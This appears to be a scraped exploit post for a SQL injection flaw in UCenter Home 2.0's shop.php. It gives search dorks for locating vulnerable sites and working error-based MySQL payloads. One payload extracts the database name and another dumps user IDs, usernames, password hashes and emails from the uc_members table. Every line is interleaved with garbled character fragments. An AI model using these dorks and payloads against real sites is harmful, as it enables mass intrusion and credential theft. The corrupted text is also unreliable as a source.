: n) r4 [" G" p$ M4 w0 ]__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__
" l3 ^$ Y9 s' }. O' c
- J1 w. P( W$ ^1 d2 \4 t# [ , X" W' L! U! U0 x1 t" F
% j( H3 [9 w7 W, m; E! p$ X* D4 U*/ Author : KnocKout
( t; o+ e5 k" m; d6 y* E* h: z) ~9 _4 f8 g
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers
w; i; |/ |5 N" P* W( I7 f2 M( X# Z9 r1 L6 U
*/ Contact: knockoutr@msn.com ! I! u, J5 O0 m- Z
6 i8 \( T' O- @. I: X*/ Cyber-Warrior.org/CWKnocKout
& }* F0 Z- M( [8 X+ P" h. d6 i5 w
7 E7 w V% l+ `- F7 r__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== , Q1 F: l* {% Y; ]
1 Q* M$ q5 h/ {5 |# q, V! XScript : UCenter Home + Z3 ?6 s! P( |" B
9 u, `" ~+ q9 ^4 [4 p& w! yVersion : 2.0
) T9 W' ]/ z7 v/ K5 x0 O! R( _
$ ?$ x6 H& i& {Script HomePage : http://u.discuz.net/ / h6 R; n6 H% h) b H1 f& r( c0 B
. l) |: ^( Q7 d
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== i% a/ i9 ~: h
8 \6 S2 A( I. U, B' F; G
Dork : Powered by UCenter inurl:shop.php?ac=view & n* U8 x' v$ q" T d2 R
6 B3 _2 ]7 c0 Q2 j& zDork 2 : inurl:shop.php?ac=view&shopid=
" g+ d4 W% k# C" s
; x1 ? ?0 v# r0 o3 e, [__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
3 r; l8 q& I0 D
9 ^! ]) j) }/ [0 G& o% oVuln file : Shop.php
I: V2 Q0 R+ ^5 A6 i, E$ Q1 X4 @* I: W9 J' s+ ?
value's : (?)ac=view&shopid= 0 S) {8 I* Q1 H' u
' X; _0 J" \3 ~5 I
Vulnerable Style : SQL Injection (MySQL Error Based) , ~( m4 N% M" q2 P
1 \, P9 D" k$ m/ g' ?Need Metarials : Hex Conversion L, ^5 ^4 q6 d8 e$ A4 n. e
1 h4 \" i/ C& G/ U% A5 }7 x) s__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
( ]- F; G/ D8 Y% V+ @! m0 z1 Z' Q6 G9 E. F, z# ~ p
Your Need victim Database name. ( Y) C( R1 j7 i- ~$ `7 d4 i
" W( _; m9 A( I/ ~8 n4 o- V2 V7 n
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 8 B+ U1 P# H" Y, U! ^% u3 @
6 H( E: V$ G3 ^..
( F0 d3 s1 e0 e4 a
7 a* ?' d+ n. h0 e) Z& ]DB : Okey.
& ?9 T: _- e, w6 S' _0 f* W8 K5 }1 n1 Y. F7 H/ f, u
your edit DB `[TARGET DB NAME]` $ \( a' d: m& l; P' n; i6 R [
; u- C/ ], g: W: o2 ?
Example : 'hiwir1_ucenter' ! ?+ L% [8 L7 q3 C4 ~4 B2 j
$ m0 w" Z1 N& N1 s) l( a( W
Edit : Okey.
! A( m# v/ n Q3 q
! U! k1 w5 h: nYour use Hex conversion. And edit Your SQL Injection Exploit.. " j$ X5 b& N7 E
& D) C- f- X8 f1 H7 ~" \
( Z0 y$ X! d! z) x3 m
$ a i+ h4 x' o3 ~* H
Exploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 / G1 h, K8 h% E. C2 P, {( I+ r
|